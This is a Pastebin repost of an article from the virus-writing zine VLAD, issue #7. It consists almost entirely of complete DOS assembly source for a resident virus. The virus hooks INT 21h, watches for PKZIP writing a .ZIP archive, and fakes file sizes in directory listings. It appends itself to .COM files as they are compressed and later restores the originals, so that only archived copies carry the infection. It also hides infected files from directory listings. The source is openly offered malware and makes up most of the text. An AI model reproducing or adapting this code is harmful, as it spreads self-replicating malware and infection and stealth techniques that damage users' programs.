Advertisement
FlyFar

VLAD Magazine - Issue #7 - ARTICLE.4_1 - Zip Virus

Jul 2nd, 2023
1,493
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 15.47 KB | Cybersecurity | 0 0
  1. ;Lately I've seen some viruses boasting they could infect archivers.
  2. ;(Hi Sepultura, didnt you test chaos-ad ???)
  3. ;This is quite simple for ARJ etc. But with PKZIP this is quite different,
  4. ;due to the way PKZIP gets the size of the files to be compressed.
  5. ;Most archivers look for files via INT 21h/ah=4Eh/4Fh.
  6. ;Then the file is opened and compressed, no matter whats in the DTA.
  7. ;PKZIP looks up filesizes before opening files and stores them somehow.
  8. ;Only the filesize in the DTA will be compressed. That means, if a FastInfector
  9. ;, infecting on OpenFile, is active, it will NOT be in the compressed file !
  10. ;(Well, yes, the header changes are compressed, but the main portion appended
  11. ;to the host will be lost).
  12. ;
  13. ;So the Idea is the following :
  14. ;-look for files with extension .ZIP being opened for Read/Write access
  15. ; (PKUNZIP opens for readonly)
  16. ;-if a ZIP-file is opened, set a flag for enabling infect on OpenFile
  17. ;-if a ZIP-File is closed, it is assumed compression is over -> clear flag
  18. ;-whenever FindFirst/FindNext occurs and flag is set,
  19. ; check if file is infectable; if so,
  20. ; increase FileSize in DTA (may do some DirStealth if not)
  21. ;-whenever a file is opened, check flag
  22. ;-if flag is set, infect file the usual way
  23. ;-disinfect when its closed (oly the archived files shall be infected)
  24. ;
  25. ;Care should be taken not to infect files whose size wasnt increased
  26. ;(CRC-Errors, corruption of program), or to increase Filesizes of files
  27. ;one will not infect later
  28. ;(resulting in CRC-Errors)
  29. ;
  30. ;
  31. ;The following code does it, but it is in NO way optimized.
  32. ;Some parts are plain bogus, as the whole stuff is experimental.
  33. ;It will infect suitable COMs that are compressed with PKZIP to an
  34. ;archive with the extension .ZIP, nothing else.
  35. ;
  36. ;Routines commented in Italian are with friendly permission of Tankard.
  37. ;
  38. ;And, ehhmmm, there is a problem with INT 21h/ah=4Eh. Some programs hang
  39. ;with this routine active, so i commented it out. (Solutions?)
  40. ;
  41. ;
  42. ;------------------Cut here--------------------------------------------
  43. .model tiny
  44. .radix 16
  45. .286
  46. .code
  47.     org     100h
  48. jumps
  49. len             EQU  vir_end-start
  50. MCB_Flag        EQU  00h                        ;
  51. MCB_Owner       EQU  01h                        ;
  52. MCB_Size        EQU  03h                        ;
  53. MCB_Name        EQU  08h                        ;
  54. MCB_Junk        EQU  05h                        ;
  55. COMMAND_LENGTH  EQU  11                         ;
  56. EnvPtr          EQU  002ch                      ;
  57.  
  58. start:
  59.           call    Get_Offset
  60. Get_Offset:
  61.           pop     si
  62.  
  63.           mov cx,0FCFCh
  64.           mov ah,30h            ;get DOS-Version  ;-))
  65.           int 21h
  66.           cmp ax,0FADEh
  67.           je no_install
  68.  
  69. push si
  70. add si,offset flag
  71. sub si,offset get_offset
  72. mov byte ptr cs:[si],'X'        ;set flag off
  73. pop si
  74.  
  75. ;                  mov sp,si            ;you want a stack ?
  76. ;                  add sp,offset vir_end
  77. ;                  add sp,200h
  78.  
  79.           push  cs             ;
  80.           pop   ds                                ;
  81.  
  82.           MOV   BP,SI          ;
  83.           push  si
  84.           SUB   BP,Offset Get_Offset;
  85.           MOV   Cx,00ffh       ; Lunghezza del virus in memoria
  86.           CALL  Alloca_Memory  ;
  87.           JC    qui1           ; se non c'era spazio a disposizione
  88.  
  89.           MOV   Di,0100h       ; Copia addesso il virus in memoria alta
  90.           MOV   Si,BP          ;
  91.           ADD   Si,0100h       ;
  92.           MOV   Cx,len         ;
  93.           REP   MOVSB          ; Fine Copia
  94.  
  95.           push    es
  96.           mov     ax,3521h
  97.           int     21h                      ;Get Int 21 Address
  98.           pop     ds
  99.           mov     word ptr ds:[offset Int_21],bx      ;Save old Int 21
  100.           mov     word ptr ds:[offset Int_21+02h],es
  101.           mov     dx,Offset Int_21_Handler
  102.           mov     ah,25h
  103.           int     21h            ;Set Int 21
  104.  
  105. qui1:             pop     si
  106. no_install:
  107. ;restore to host
  108. ;rewrite header
  109.     mov cx,05h
  110.     push cs
  111.     pop es
  112.     add si,offset header1
  113.     sub si,offset get_offset
  114.     mov di,0100h
  115.     rep movsb                        ;copy header ds:si->es:di
  116.     mov di,0100h
  117.     jmp di
  118.  
  119.           mov ax,4C00h
  120.           int 21h
  121.  
  122. COMMAND_STR DB 'TANxxxxxxx',0
  123. ;
  124. ;----------------------------------------------------------------------------
  125.  
  126. Int_21_Handler:
  127.     cmp ah,3Dh          ;Is open via Handle?
  128.     je open_handle
  129.     cmp ah,3Eh
  130.     je close_handle
  131.  
  132.     cmp ah,4Fh          ;size is checked beforehand !
  133.     je find_file
  134. ;        cmp ah,4Eh          ;findfirst
  135. ;        je find_file
  136.  
  137.     cmp ah,12h
  138.     je find_file_fcb
  139.     cmp ah,11h
  140.     je find_file_fcb
  141.  
  142.     cmp ah,30h          ;residency check, was DOS-Version
  143.     je im_here
  144.  
  145.     jmp     Go_Int_21          ;No, Restore control to Int 21
  146.  
  147. ;------------------------------------------------------------------------
  148. im_here:
  149.     cmp cx,0FCFCh
  150.     jne go_int_21
  151.     mov ax,0FADEh
  152.     iret
  153. ;------------------------------------------------------------------------
  154. find_file_fcb:
  155.     pushf
  156.     call cs:[int_21]
  157.     jc fff_error
  158.  
  159.     push ax bx cx dx ds es di si bp
  160.     pushf
  161.  
  162.     cmp byte ptr cs:[offset flag],'#'
  163.     je no_need
  164.  
  165.  
  166.  
  167.     mov ah,51h
  168.     int 21h                 ;get DTA
  169.     mov es,bx
  170.     cmp bx,es:[16h]
  171.     jnz no_need
  172.     mov bx,dx
  173.     mov al,[bx]
  174.  
  175.     push ax
  176.     mov ah,2Fh
  177.     int 21h
  178.     pop ax
  179.  
  180.     inc al
  181.     jnz standard_fcb
  182. extended_fcb:
  183.     add bx,07h                      ;extended FCB
  184. standard_fcb:
  185.     mov ax,es:[bx+17h]              ;get time
  186.     and ax,0000000000011111b        ;unmask seconds
  187.     xor ax,0000000000010101b        ;is 42 s ?
  188.     jnz no_need
  189.     sub es:[bx+1Dh],len
  190. ;        sbb es:[bx+1Fh],00h
  191.  
  192. no_need:
  193.  
  194.     popf
  195.     pop bp si di es ds dx cx bx ax
  196.  
  197. fff_error:
  198.     retf 2
  199. ;-------------------------------------------------------------------------
  200. find_file:
  201.     pushf
  202.     call cs:[int_21]
  203.     jc find_error
  204.  
  205.     push ax bx cx dx ds es di si bp
  206.     pushf
  207.  
  208.     mov ah,2Fh                  ;get DTA
  209.     int 21h                 ;es:bx->dta
  210.  
  211.     cmp byte ptr cs:[offset flag],'#'
  212.     jne dir_stealth                    ;
  213.  
  214.     mov cx,word ptr es:[bx+16h]        ;get filetime
  215.     and cx,0000000000010101b
  216.     cmp cx,0000000000010101b           ;is 42s ?
  217.     je is_infected
  218.  
  219.     cmp word ptr es:[bx+1Ah],0EFFFh    ;size, shouldnt be too big
  220.     ja is_infected
  221.  
  222.     push bx
  223.     pop di
  224.     add di,1Eh
  225.     cld
  226.     mov cx,0Ah
  227.     mov ax,'C.'                   ;search filename for extension .COM
  228. find_com_loop:
  229. ;dec di
  230.     scasw                   ;es:di=ax ?
  231.     je loc_01
  232.     dec di
  233.     dec cx
  234.     jnz find_com_loop
  235.     jmp is_infected
  236. loc_01:
  237.     mov ax,'MO'
  238.     scasw
  239.     jne is_infected
  240.  
  241. ; is *.COM of right size and time other than 42 sec, prepare for infection !
  242.     mov cx,word ptr es:[bx+16h]
  243.     and cx,1111111111100000b            ;clear seconds
  244.     xor cx,0000000000010101b            ;set 42 seconds (my marker)
  245.     mov word ptr es:[bx+16h],cx         ;set time
  246.     add es:[bx+1Ah],len                 ;now add virus_size
  247.     jmp is_infected
  248.  
  249. dir_stealth:
  250.     mov ax,word ptr es:[bx+16h]
  251.     and ax,0000000000010101b
  252.     cmp ax,0000000000010101b
  253.     jne is_infected
  254.     sub es:[bx+1Ah],len
  255. ;        sbb es:[bx+1Ah],00h
  256.  
  257.  
  258. is_infected:
  259. no_com:
  260.     popf
  261.     pop bp si di es ds dx cx bx ax
  262. find_error:
  263.  
  264.      retf 2
  265.  
  266.  
  267. ;------------------------------------------------------------------------
  268. open_handle:
  269.     cmp byte ptr cs:[offset flag],'#'   ;is a file .ZIP open ?
  270.     je infect
  271.  
  272.     push ax bx cx dx ds es di bp si
  273.     push ax
  274.     push ds
  275.     pop es
  276.     push dx
  277.     pop di
  278.     mov al,'.'
  279.     cld
  280.     repne scasb             ;al=es:di?
  281.  
  282.     push es
  283.     pop ds
  284.     push di
  285.     pop si
  286.  
  287.     lodsw                   ;ds:si->al
  288.     cmp ax,'IZ'
  289.     jne no_zip
  290.  
  291.     lodsb                   ;ds:si->al
  292.     cmp al,'P'
  293.     jne no_zip
  294.  
  295.     jmp set_flag            ;if file of extension .ZIP is opened, set flag
  296. no_zip:
  297.     pop ax
  298.     pop si bp di es ds dx cx bx ax
  299.     jmp go_int_21
  300.  
  301. infect:                         ;flag is set
  302.     pushf
  303.     call cs:[int_21]        ;open requested file
  304.     jc quit
  305.  
  306.     push ax bx cx dx ds es di bp si
  307.     xor bx,bx
  308.     mov bx,ax                  ;handle in bx
  309.     push bx
  310.     mov ax,1220h
  311.     int 2Fh
  312.     jc quit_sft
  313.     mov ax,1216h
  314.     mov bl,es:[di]
  315.     int 2Fh                     ;get es:di -> sft
  316.     jc quit_sft
  317.     mov word ptr cs:[offset sft_off],di
  318.     mov word ptr cs:[offset sft_seg],es
  319.     pop bx
  320.  
  321.     mov es:[di+02h],byte ptr 02h         ;set open_mode r/w
  322.     cmp word ptr es:[di+28h],'OC'        ;is *.COM ?
  323.     jne quit
  324.     cmp byte ptr es:[di+2Ah],'M'         ;is really *.COM ?
  325.     jne quit
  326.  
  327.     mov cx,word ptr es:[di+0D]           ;get time
  328.     and cx,0000000000010101b
  329.     cmp cx,0000000000010101b             ;check if infected
  330.     je quit
  331.  
  332.     mov ax,4200h
  333.     cwd
  334.     xor cx,cx
  335.     int 21h                          ;go start of file
  336.     jc quit
  337.  
  338.     mov ah,3Fh
  339.     mov cx,05h
  340.     mov dx,offset header1
  341.     push cs
  342.     pop ds
  343.     int 21h                          ;read header to buffer
  344.     jc quit
  345.  
  346.     mov cx,05h
  347.     push cs
  348.     pop es
  349.     mov si,offset header1
  350.     mov di,offset header2
  351.     rep movsb                        ;copy header
  352.  
  353.     cmp word ptr cs:[offset header1+03h],'##' ; yet  another infection
  354. marker ;-))
  355.     je quit                          ;already infected
  356.  
  357.     mov ax,4202h
  358.     cwd
  359.     xor cx,cx
  360.     int 21h                          ;go eof
  361.     jc quit
  362.     mov f_seg,dx
  363.     mov f_off,ax                     ;save eof for JMP
  364.  
  365.     cmp ax,0EFFFh                    ;if file is too big
  366.     ja quit
  367.  
  368.     mov ah,40h
  369.     mov cx,len
  370.     mov dx,0100h
  371.     int 21h                          ;append to host
  372.     jc quit
  373.     mov ax,4200h
  374.     cwd
  375.     xor cx,cx
  376.     int 21h                          ;go sof
  377.     jc quit
  378.  
  379.     mov byte ptr cs:[header2],0E9h         ;form jmp
  380.     sub f_off,03h
  381.     mov ax,f_off
  382.     mov word ptr cs:[header2+01h],ax
  383.     mov word ptr cs:[header2+03h],'##'        ;infectmarker
  384.  
  385.     mov ah,40h
  386.     mov cx,05h
  387.     mov dx,offset header2
  388.     int 21h                          ;write header to sof from ds:dx
  389.     jc quit
  390.  
  391.     mov ax,4200h
  392.     cwd
  393.     xor cx,cx
  394.     int 21h                          ;go sof
  395.     jc quit
  396.  
  397.  
  398.     mov ax,5700h                        ;get date&time
  399.     int 21h                             ;dont want to change it
  400.     mov word ptr cs:[offset f_time],cx  ;save time
  401.     mov word ptr cs:[offset f_date],dx  ;save date
  402.  
  403.     mov byte ptr cs:[offset marker],'I'
  404. quit:
  405.     pop si bp di es ds dx cx bx ax
  406.  
  407. exit_infect:
  408.     iret
  409.  
  410. ;---------------------------------------------------------------
  411. disinfect:                      ;is not zip and no flag
  412.     pushf
  413.     call cs:[int_21]        ;perform original open
  414.     retf 2                  ;one could provide stealth capabilities here
  415. ;------------------------------------------------------------------------
  416.  
  417. set_flag:
  418.      pop ax
  419.  
  420.      cmp al,00100010b               ;is read/write access ?
  421.      je zip_rw
  422.      cmp al,00100000b               ;is read/only acces ?
  423.      je zip_ro
  424.      jne no_flag
  425. zip_rw:
  426.      mov byte ptr cs:[offset flag],'#'
  427.      jmp short no_flag
  428. zip_ro:
  429.      mov byte ptr cs:[offset flag],'@'
  430.      jmp short no_flag
  431.  
  432. no_flag:
  433.      pop si bp di es ds dx cx bx ax
  434.      jmp go_int_21
  435. ;------------------------------------------------------------------------
  436. close_handle:
  437. ;is *.zip closed ? if yes clear flag
  438. ;is no zip and flag is on -> disinfect
  439.     push ax bx cx dx ds es di bp si
  440.     mov ax,1220h
  441.     push bx
  442.     int 2Fh
  443.     jc quit_sft
  444.     mov ax,1216h
  445.     mov bl,es:[di]
  446.     int 2Fh          ;get sft -> es:di
  447.     jc quit_sft
  448.  
  449.     cmp byte ptr es:[di+28h],'Z'
  450.     jne not_zip
  451.     cmp word ptr es:[di+29h],'PI'
  452.     jne not_zip
  453. clear_flag:
  454.     mov byte ptr cs:[offset flag],'X'
  455.  
  456.     jmp quit_sft
  457.  
  458. not_zip:
  459.  
  460. ;is zip-r/w-access (flag='#') -> disinfect
  461. ;is zip-r/o-access (flag='@') -> no disinfect
  462.     cmp byte ptr cs:[offset flag],'#'
  463.     jne try_slow_infect
  464.  
  465.     call disinfect_handle
  466.     jmp quit_sft
  467.  
  468. try_slow_infect:                ;all this is plain stupid !
  469.  
  470.     mov al,byte ptr es:[di+02h]
  471.     and al,00000011b             ;last two bits are (w/o or r/w)
  472.     cmp al,00h
  473.     je quit_sft
  474.  
  475.  
  476.  
  477. quit_sft:
  478.     mov byte ptr cs:[offset marker],'N'; .ZIP is closed, so clear flag
  479.     pop bx
  480.     pop si bp di es ds dx cx bx ax
  481.     jmp go_int_21
  482.  
  483. ;------------------------------------------------------------------------
  484. disinfect_handle:
  485.     push ax bx cx dx ds es di bp si
  486.     xchg ax,bx
  487.  
  488.     cmp byte ptr cs:[offset marker],'I'
  489.     jne quit_d
  490.  
  491.     push bx
  492.     mov ax,1220h
  493.     int 2Fh
  494.     mov ax,1216h
  495.     mov bl,es:[di]
  496.     int 2Fh                 ;get es:di -> sft
  497.     mov word ptr cs:[offset sft_off],di
  498.     mov word ptr cs:[offset sft_seg],es
  499.     pop bx
  500.  
  501.     cmp word ptr es:[di+28h],'OC'        ;is *.COM ?
  502.     jne quit_d
  503.     cmp byte ptr es:[di+2Ah],'M'         ;is really *.COM ?
  504.     jne quit_d
  505.     mov es:[di+02h],byte ptr 02h         ;set open_mode r/w
  506.  
  507.     mov ax,4200h
  508.     xor dx,dx
  509.     xor cx,cx
  510.     int 21h                  ;go sof
  511.     jc quit_d
  512.  
  513.     mov ah,3Fh
  514.     mov cx,05h
  515.     mov dx,offset header2
  516.     push cs
  517.     pop ds
  518.     int 21h                  ;read header
  519.     jc quit_d
  520.  
  521.     cmp word ptr cs:[header2+03h],'##'     ;check infectmarker
  522.     jne quit_d
  523.  
  524.     mov dx,word ptr cs:[offset header2+01h]  ;read jmp-adress
  525.     push dx                          ;save
  526.     add dx,offset header1
  527.     sub dx,0FDh                 ; = -0100h +03h
  528.     xor cx,cx
  529.     mov ax,4200h
  530.     int 21h                ;set filepointer to original header
  531.     jc quit_d
  532.  
  533.     mov ah,3Fh
  534.     mov cx,05h
  535.     mov dx,offset header2
  536.     push cs
  537.     pop ds
  538.     int 21h                  ;read original header from virusbody
  539.     jc quit_d
  540.  
  541.     mov ax,4200h
  542.     xor cx,cx
  543.     xor dx,dx
  544.     int 21h                 ;filepointer to start
  545.  
  546.     mov ah,40h
  547.     mov cx,05h
  548.     push cs
  549.     pop ds
  550.     mov dx,offset header2
  551.     int 21h                  ;write header to sof from ds:dx
  552.     jc quit_d
  553.  
  554.     mov ax,4200h
  555.     pop dx                   ;saved jmp
  556.     add dx,03h
  557.     xor cx,cx
  558.     int 21h                  ;move filepointer there
  559.     mov ah,40h
  560.     xor cx,cx
  561.     int 21h                  ;truncate file at old JMP
  562.  
  563.     mov ax,4200h
  564.     xor cx,cx
  565.     xor dx,dx
  566.           int 21h
  567.  
  568.     mov ax,5701h
  569.     mov cx,word ptr cs:[offset f_time]     ;set date&time
  570.     mov dx,word ptr cs:[offset f_date]
  571.     int 21h
  572.  
  573.  
  574.  
  575. quit_d:
  576.     pop si bp di es ds dx cx bx ax
  577.     ret
  578.  
  579. ;this is with friendly permission of TANKARD (thanx dude)
  580. Alloca_Memory PROC NEAR
  581.         MOV  Ah,4Ah                     ;
  582.         MOV  Bx,0FFFFh                  ; richiedi il numero di blocchi
  583.         INT  21h                        ;  del programma ospite
  584.         SUB  Bx,Cx                      ;
  585.         JB   _lab1                      ;
  586.         MOV  Ah,4Ah                     ; modifica il numero di blocchi
  587.         INT  21h                        ;  attuali per liberare spazio
  588.                         ;  per allocare il virus
  589.         MOV  Ah,48h                     ;
  590.         DEC  Cx                         ; alloca lo spazio per con-
  591.         MOV  Bx,Cx                      ;  tenere il virus
  592.         INT  21h                        ;
  593.         JC   _lab1                      ;
  594.         DEC  Ax                         ;
  595.         MOV  ES,Ax                      ;
  596.         INC  Ax                         ; fallo stare residente come
  597.         MOV  ES:[MCB_Owner],Ax          ;  un prg TSR
  598.         MOV  Dx,Ax                      ;
  599.         MOV  Ah,26h                     ;
  600.         INT  21h                        ; crea nuovo PSP per il blocco
  601.                                                                 ;  di memoria
  602.         MOV  Di,MCB_Junk                ;
  603.         LEA  Si,COMMAND_STR             ; - 06h       ;
  604.         ADD  Si,BP                      ; copy nel Memory Control Block
  605.         MOV  Cx,COMMAND_LENGTH          ;  la stringa "COMMAND"
  606.         PUSH CS                         ;
  607.         POP  DS                         ;
  608.         REP  MOVSB                      ;
  609.  
  610.         MOV  Ax,ES                      ;
  611.         INC  Ax                         ;
  612.         MOV  ES,Ax                      ;
  613.         CLC                             ;
  614.         RET                             ;
  615. _lab1         : STC                             ;
  616.         RET                             ;
  617. Alloca_Memory ENDP
  618.  
  619.  
  620.  
  621. Go_Int_21:
  622.     db      0EAh            ;Go On With Int 21
  623. Int_21   dd      ?
  624. flag db 00h
  625. header1 db 0CDh, 20h, 00h, 00h, 00h, 00h ;this is just for this very COM-File
  626. header2 db 05h dup (?)                   ; it means INT 20h
  627. f_time dw ?
  628. f_date dw ?
  629. sft_off dw ?
  630. sft_seg dw ?
  631. f_off dw ?
  632. f_seg dw ?
  633. marker db ?
  634. vir_name db '??'        ;Never named one!
  635.  
  636. vir_end:
  637. end     start
Tags: virus asm ZIP vlad
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement